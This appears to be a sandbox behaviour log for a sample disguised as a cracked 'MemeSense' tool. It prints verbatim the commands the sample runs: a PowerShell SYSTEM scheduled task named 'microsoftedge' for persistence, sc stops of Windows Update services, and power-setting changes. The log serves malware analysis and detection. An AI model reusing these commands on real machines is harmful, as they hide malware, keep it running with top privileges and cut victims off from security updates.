Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Microsoft\Edge\updater.exe "C:\Program Files\Microsoft\Edge\updater.exe"
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\cli_gui.exe "C:\Users\user\AppData\Local\Temp\cli_gui.exe"
Source: C:\Users\user\Desktop\meme crack\MemeSense Crack.exe	Process created: C:\Users\user\AppData\Local\Temp\updater.exe "C:\Users\user\AppData\Local\Temp\updater.exe"
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\System32\dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ztwihm#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }	Jump to behavior
Source: C:\Program Files\Microsoft\Edge\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: C:\Users\user\AppData\Local\Temp\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lfvbfbo#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }
Source: C:\Windows\System32\dialer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#ztwihm#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'system' /tn 'microsoftedge' /tr '''c:\program files\microsoft\edge\updater.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\program files\microsoft\edge\updater.exe') -trigger (new-scheduledtasktrigger -atstartup) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'microsoftedge' -user 'system' -runlevel 'highest' -force; }

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A51C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

34_2_00007FF724A51C64

Source: C:\Windows\System32\dialer.exe

Code function: 34_2_00007FF724A51C64 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

34_2_00007FF724A51C64

Source: dwm.exe, 0000002B.00000000.1653119780.0000028F8575A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 00000026.00000000.1635203670.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000002B.00000000.1655255666.0000028F85B94000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000026.00000000.1635203670.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000026.00000000.1635203670.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: bProgram Manager]
Source: winlogon.exe, 00000026.00000000.1635203670.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\svchost.exe

Code function: 48_2_0000022C35FE20A0 cpuid

48_2_0000022C35FE20A0

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
